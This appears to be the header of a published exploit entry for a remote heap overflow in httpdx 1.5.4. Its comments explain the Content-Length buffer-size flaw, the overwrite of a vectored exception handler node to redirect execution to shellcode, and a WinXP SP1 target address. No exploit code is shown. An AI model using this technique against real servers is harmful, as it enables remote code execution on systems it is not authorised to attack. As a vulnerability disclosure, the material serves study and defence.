httpdx <= 1.5.4 Remote Heap Overflow

# Exploit Title: httpdx <= 1.5.4 Remote Heap Overflow
# Date: 28 July 2012
# Exploit Author: st3n [at sign] funoverip [dot] net
# Vendor Homepage: http://httpdx.sourceforge.net
# Download link: http://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/httpdx1.5.4.zip/download
# Version: 1.5.4
# Tested on: WinXP SP1
#======================================================================
# Additional notes:
# -----------------
#
# - During a POST request, httpdx allocates memory with malloc(size+1),
#   where 'size' is actually the value of "Content-Length" HTTP header..
#   All post-data will then be copied into this area using strncpy(x,y,size2),
#   where 'size2' = "request length" - "header length" (and not Content-Length)
#
# - As httpdx use it own handler function upon crash, this exploit  overwrite
#   the first _VECTORED_EXCEPTION_NODE structure with a pointer to our shellcode.
#
# - The exploit works very often, but not always. In both case, httpdx crash
#   after the exploit.
#
# - WinXP SP1
#   0x77ED73B4 --> UnhandledExceptionFilter()
